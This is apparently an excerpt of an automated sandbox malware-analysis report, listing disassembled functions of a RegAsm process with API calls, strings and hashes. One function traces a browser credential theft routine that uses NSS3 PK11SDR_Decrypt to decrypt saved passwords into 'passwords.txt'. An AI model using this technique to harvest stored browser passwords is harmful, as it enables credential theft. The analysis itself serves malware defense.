Instruction Fuzzy Hash: B3518BC9B4622552FB0533157D10BAA244DEFD324AF14443AEE5AA2EB0FB05E70E46B7

Uniqueness

Uniqueness Score: -1.00%

Function 004086BE Relevance: 63.3, APIs: 35, Strings: 1, Instructions: 258stringmemoryfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004086C3
NSS_Init.NSS3(00000000,?,00000000,?), ref: 004086DD

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 004087BD
GetFileSize.KERNEL32(00000000,00000000), ref: 004087C5
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 004087D1
??_U@YAPAXI@Z.MSVCRT ref: 004087DB
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 004087EC
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004087F8
HeapAlloc.KERNEL32(00000000), ref: 004087FF
StrStrA.SHLWAPI(?), ref: 00408811
StrStrA.SHLWAPI(-00000010), ref: 0040882B
lstrcat.KERNEL32(?), ref: 0040883F
lstrcat.KERNEL32(?,00000000), ref: 00408851
lstrcat.KERNEL32(?,00423C78), ref: 0040885F
lstrcat.KERNEL32(?,00000000), ref: 00408871
lstrcat.KERNEL32(?,00423C7C), ref: 0040887F
lstrcat.KERNEL32(?), ref: 0040888E
lstrcat.KERNEL32(?,-00000010), ref: 00408898
lstrcat.KERNEL32(?,00423C80), ref: 004088A6
StrStrA.SHLWAPI(-000000FE), ref: 004088B6
StrStrA.SHLWAPI(00000014), ref: 004088C6
lstrcat.KERNEL32(?), ref: 004088DA

Part of subcall function 004085C0: memset.MSVCRT ref: 004085E7
Part of subcall function 004085C0: lstrlen.KERNEL32(004088E6,00000001,?,00000014,00000000,00000000,?,004088E6,00000014), ref: 00408601
Part of subcall function 004085C0: CryptStringToBinaryA.CRYPT32(004088E6,00000000,?,004088E6,00000014), ref: 0040860B
Part of subcall function 004085C0: PK11_GetInternalKeySlot.NSS3(?,004088E6,00000014), ref: 00408619
Part of subcall function 004085C0: PK11_Authenticate.NSS3(00000000,00000001,00000000,?,004088E6,00000014), ref: 0040862E
Part of subcall function 004085C0: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 00408659
Part of subcall function 004085C0: memcpy.MSVCRT ref: 00408673
Part of subcall function 004085C0: PK11_FreeSlot.NSS3(?), ref: 004086A3

lstrcat.KERNEL32(?,00000000), ref: 004088EB
lstrcat.KERNEL32(?,00423C84), ref: 004088F9
StrStrA.SHLWAPI(-000000FE), ref: 00408909
StrStrA.SHLWAPI(00000014), ref: 00408919
lstrcat.KERNEL32(?), ref: 0040892D

Part of subcall function 004085C0: lstrcat.KERNEL32(00423ACE,00423AD2), ref: 0040869A
Part of subcall function 004085C0: lstrcat.KERNEL32(00423ACE,00423AD3), ref: 004086B2

lstrcat.KERNEL32(?,00000000), ref: 0040893E
lstrcat.KERNEL32(?,00423C88), ref: 0040894C
lstrcat.KERNEL32(?,00423C8C), ref: 0040895A
StrStrA.SHLWAPI(-000000FE), ref: 0040896A
lstrlen.KERNEL32(?), ref: 00408980
memset.MSVCRT ref: 004089D0
CloseHandle.KERNEL32(00000000), ref: 004089D9
NSS_Shutdown.NSS3 ref: 004089DF

Strings

passwords.txt, xrefs: 00408992

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$Filelstrcpy$H_prologK11_lstrlen$HeapPointerSlotmemset$AllocAuthenticateBinaryCloseCryptDecryptFreeHandleInitInternalProcessReadShutdownSizeStringmemcpy
String ID: passwords.txt
API String ID: 2888107993-347816968
Opcode ID: e24dbbcf07dc8e8175e28206c8400f61517b4f3c39da7b241139e92f774c0072
Instruction ID: 55da6401b833067997795a90b87a2a213a94f087124037f10c2bd6b4bc40e7ce
Opcode Fuzzy Hash: e24dbbcf07dc8e8175e28206c8400f61517b4f3c39da7b241139e92f774c0072
Instruction Fuzzy Hash: 2CA18D72800119FFDB01EFA1ED499EE7B7AFF18314F10092AF511B21A1DB390A15DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6CD64470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD64730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CD644B2,6CDDE21C,6CDDF7F8), ref: 6CD6473E
Part of subcall function 6CD64730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CD6474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CD644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CD644D2
InitOnceExecuteOnce.KERNEL32(6CDDF80C,6CD5F240,?,?), ref: 6CD6451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CD6455C
LoadLibraryW.KERNEL32(?), ref: 6CD64592
InitializeCriticalSection.KERNEL32(6CDDF770), ref: 6CD645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CD645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CD645BB
InitOnceExecuteOnce.KERNEL32(6CDDF818,6CD5F240,?,?), ref: 6CD64612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CD64636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CD64644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CD6466D
VerSetConditionMask.NTDLL ref: 6CD6469F
VerSetConditionMask.NTDLL(00000000,?,00000001,00000003), ref: 6CD646AB
VerSetConditionMask.NTDLL(00000000,?,00000004,00000003), ref: 6CD646B2
VerSetConditionMask.NTDLL(00000000,?,00000020,00000003), ref: 6CD646B9
VerSetConditionMask.NTDLL(00000000,?,00000010,00000003), ref: 6CD646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CD646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CD646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CD646FD

Strings

l, xrefs: 6CD64578
user32.dll, xrefs: 6CD64557, 6CD6463F
NativeNtBlockSet_Write, xrefs: 6CD646F7
WRusr.dll, xrefs: 6CD644B5
kernel32.dll, xrefs: 6CD644CD

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 420d6eadb71d93adfb7e9e6f5254678a442efbce61dbcbfeb852651887c7a11a
Instruction ID: 6feee0da400170838f049f172cb347393eaabaeda26e9d21c3464c30410697a3
Opcode Fuzzy Hash: 420d6eadb71d93adfb7e9e6f5254678a442efbce61dbcbfeb852651887c7a11a
Instruction Fuzzy Hash: CB61C4B0E40244AFFB10DF61C849B95BBBCEF46308F048559E6449BAA1D770BA84CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CED4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CEC4F51,00000000), ref: 6CED4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CEC4F51,00000000), ref: 6CED4C5B
PR_smprintf.NSS3(6CFAAAF9,?,0000002F,?,?,?,00000000,00000000,?,6CEC4F51,00000000), ref: 6CED4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CEC4F51,00000000), ref: 6CED4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CED4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CED4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CED4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CEC4F51,00000000), ref: 6CED4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CEC4F51,00000000), ref: 6CED4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CED4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CED4DA2
free.MOZGLUE(?), ref: 6CED4DB9
free.MOZGLUE(00000000), ref: 6CED4DCF

Strings

timeout, xrefs: 6CED4C91
0x%08lx=[%s %s], xrefs: 6CED4D80
any, xrefs: 6CED4C96
every, xrefs: 6CED4CA1
rust, xrefs: 6CED4D22
slotFlags, xrefs: 6CED4D34
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CED4D9D
%s,%s, xrefs: 6CED4C4B
rootFlags, xrefs: 6CED4D47
ootT, xrefs: 6CED4D1A

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 65380a2202411bef92b94eb142dbfa98313797e583e97f5cdea7cbd930c3515a
Instruction ID: d0fde9c54bc4c0e073784a2f03a632b9f69ffd9506e337a95eb6a18cf3c10402
Opcode Fuzzy Hash: 65380a2202411bef92b94eb142dbfa98313797e583e97f5cdea7cbd930c3515a
Instruction Fuzzy Hash: 2441BDB1E10141ABEB125F549C44ABF7675AFA230CF2A412AEC164B701E732E927C7D3

Uniqueness

Uniqueness Score: -1.00%

Function 6CEB6CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEB6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CEB6943
Part of subcall function 6CEB6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CEB6957
Part of subcall function 6CEB6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CEB6972
Part of subcall function 6CEB6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CEB6983
Part of subcall function 6CEB6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CEB69AA
Part of subcall function 6CEB6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CEB69BE
Part of subcall function 6CEB6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CEB69D2
Part of subcall function 6CEB6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CEB69DF
Part of subcall function 6CEB6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CEB6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CEB6D8C
free.MOZGLUE(00000000), ref: 6CEB6DC5
free.MOZGLUE(?), ref: 6CEB6DD6
free.MOZGLUE(?), ref: 6CEB6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CEB6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEB6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEB6E72
free.MOZGLUE(?), ref: 6CEB6EA7
free.MOZGLUE(?), ref: 6CEB6EC4
free.MOZGLUE(?), ref: 6CEB6ED5
free.MOZGLUE(00000000), ref: 6CEB6EE3
free.MOZGLUE(?), ref: 6CEB6EF4
free.MOZGLUE(?), ref: 6CEB6F08
free.MOZGLUE(00000000), ref: 6CEB6F35
free.MOZGLUE(?), ref: 6CEB6F44
free.MOZGLUE(?), ref: 6CEB6F5B
free.MOZGLUE(00000000), ref: 6CEB6F65

Part of subcall function 6CEB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CEB781D,00000000,6CEABE2C,?,6CEB6B1D,?,?,?,?,00000000,00000000,6CEB781D), ref: 6CEB6C40
Part of subcall function 6CEB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CEB781D,?,6CEABE2C,?), ref: 6CEB6C58
Part of subcall function 6CEB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CEB781D), ref: 6CEB6C6F
Part of subcall function 6CEB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CEB6C84
Part of subcall function 6CEB6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CEB6C96
Part of subcall function 6CEB6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CEB6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEB6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEB6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CEB6FF4

Strings

+`l, xrefs: 6CEB6D0D

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`l
API String ID: 1304971872-283784926
Opcode ID: 9757d1d4b5bd00ee2a94daeba83244083b5aa6fe81b6dfeee8cc6dbf11514c6a
Instruction ID: 3bcf48ce80c5a777d4b89375111ca5381d19d7dba0dcc4a1cf8880944b255bd9
Opcode Fuzzy Hash: 9757d1d4b5bd00ee2a94daeba83244083b5aa6fe81b6dfeee8cc6dbf11514c6a
Instruction Fuzzy Hash: 51B14DB1E012199BDF05DFA5DA45BAEBBB8AF0534CF240025E815F7740E731EA15CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD9F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CD64A68), ref: 6CD9945E
Part of subcall function 6CD99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD99470
Part of subcall function 6CD99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD99482
Part of subcall function 6CD99420: __Init_thread_footer.LIBCMT ref: 6CD9949F

GetCurrentThreadId.KERNEL32 ref: 6CD9F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CD9F8F9

Part of subcall function 6CD66390: GetCurrentThreadId.KERNEL32 ref: 6CD663D0
Part of subcall function 6CD66390: AcquireSRWLockExclusive.KERNEL32 ref: 6CD663DF
Part of subcall function 6CD66390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CD6640E

ReleaseSRWLockExclusive.KERNEL32(6CDDF4B8), ref: 6CD9F93A
GetCurrentThreadId.KERNEL32 ref: 6CD9F98A
GetCurrentThreadId.KERNEL32 ref: 6CD9F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD9F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD9F716

Part of subcall function 6CD994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CD994EE
Part of subcall function 6CD994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CD99508

Part of subcall function 6CD5B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CD5B5E0

GetCurrentThreadId.KERNEL32 ref: 6CD9F739
AcquireSRWLockExclusive.KERNEL32(6CDDF4B8), ref: 6CD9F746
GetCurrentThreadId.KERNEL32 ref: 6CD9F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CDD385B,00000002,?,?,?,?,?), ref: 6CD9F829
free.MOZGLUE(?,?,00000000,?), ref: 6CD9F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CD9F866
free.MOZGLUE(?), ref: 6CD9FA0C

Part of subcall function 6CD65E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CD655E1), ref: 6CD65E8C
Part of subcall function 6CD65E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CD65E9D
Part of subcall function 6CD65E60: GetCurrentThreadId.KERNEL32 ref: 6CD65EAB
Part of subcall function 6CD65E60: GetCurrentThreadId.KERNEL32 ref: 6CD65EB8
Part of subcall function 6CD65E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CD65ECF
Part of subcall function 6CD65E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CD65F27
Part of subcall function 6CD65E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CD65F47
Part of subcall function 6CD65E60: GetCurrentProcess.KERNEL32 ref: 6CD65F53
Part of subcall function 6CD65E60: GetCurrentThread.KERNEL32 ref: 6CD65F5C
Part of subcall function 6CD65E60: GetCurrentProcess.KERNEL32 ref: 6CD65F66
Part of subcall function 6CD65E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CD65F7E

free.MOZGLUE(?), ref: 6CD9F9C5
free.MOZGLUE(?), ref: 6CD9F9DA

Strings

Thread , xrefs: 6CD9F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CD9F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6CD9F71F
" attempted to re-register as ", xrefs: 6CD9F858

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: d7b97793c4cc5de16c3c7a479b5403dc80801a44fc3131aac18668ef0bf1bd1c
Instruction ID: be23e7ceb7c4c16cf20f572f9936be516fd4c8f90b340b7ef05b1d8797e5cc4a
Opcode Fuzzy Hash: d7b97793c4cc5de16c3c7a479b5403dc80801a44fc3131aac18668ef0bf1bd1c
Instruction Fuzzy Hash: 3381F575A04300AFDB10DF24C840AAEB7B9EF85308F55455DE94997BB1EB30E949CBA3

Uniqueness

Uniqueness Score: -1.00%

Function 6CEB2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CEB2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CEB2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CEB2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CEB2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CE84F1C,?,-00000001,00000000,?), ref: 6CEB2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CE84F1C,?,-00000001,00000000), ref: 6CEB2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CEB2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CEB2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CEB2EF8
PR_Unlock.NSS3(?), ref: 6CEB2F62
TlsGetValue.KERNEL32 ref: 6CEB2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CEB2F9E
PR_Unlock.NSS3(?), ref: 6CEB2FCA
TlsGetValue.KERNEL32 ref: 6CEB301A
EnterCriticalSection.KERNEL32(?), ref: 6CEB302E
PR_Unlock.NSS3(?), ref: 6CEB3066
PR_SetError.NSS3(00000000,00000000), ref: 6CEB3085
PR_Unlock.NSS3(?), ref: 6CEB30EC
TlsGetValue.KERNEL32 ref: 6CEB310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CEB3124
PR_Unlock.NSS3(?), ref: 6CEB314C

Part of subcall function 6CE99180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CEC379E,?,6CE99568,00000000,?,6CEC379E,?,00000001,?), ref: 6CE9918D
Part of subcall function 6CE99180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CEC379E,?,6CE99568,00000000,?,6CEC379E,?,00000001,?), ref: 6CE991A0

Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607AD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607CD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607D6
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDF204A), ref: 6CE607E4
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,6CDF204A), ref: 6CE60864
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE60880
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,6CDF204A), ref: 6CE608CB
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608D7
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608FB

PR_SetError.NSS3(00000000,00000000), ref: 6CEB316D

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 0408854044e0015aed2752c1a2e416aeff0d41f75aa325c012cb89bacab9a25c
Instruction ID: 43bb476ca7ce397fc75be6788a832927b359b3c23b58cd092d6ced5fd7aa9b05
Opcode Fuzzy Hash: 0408854044e0015aed2752c1a2e416aeff0d41f75aa325c012cb89bacab9a25c
Instruction Fuzzy Hash: 4BF1AEB5E006189FDF01DF64D989BAABBB4BF09318F244169EC04B7711EB31E995CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6CEB4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEB4C4C
EnterCriticalSection.KERNEL32(?), ref: 6CEB4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CEB4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4D3A
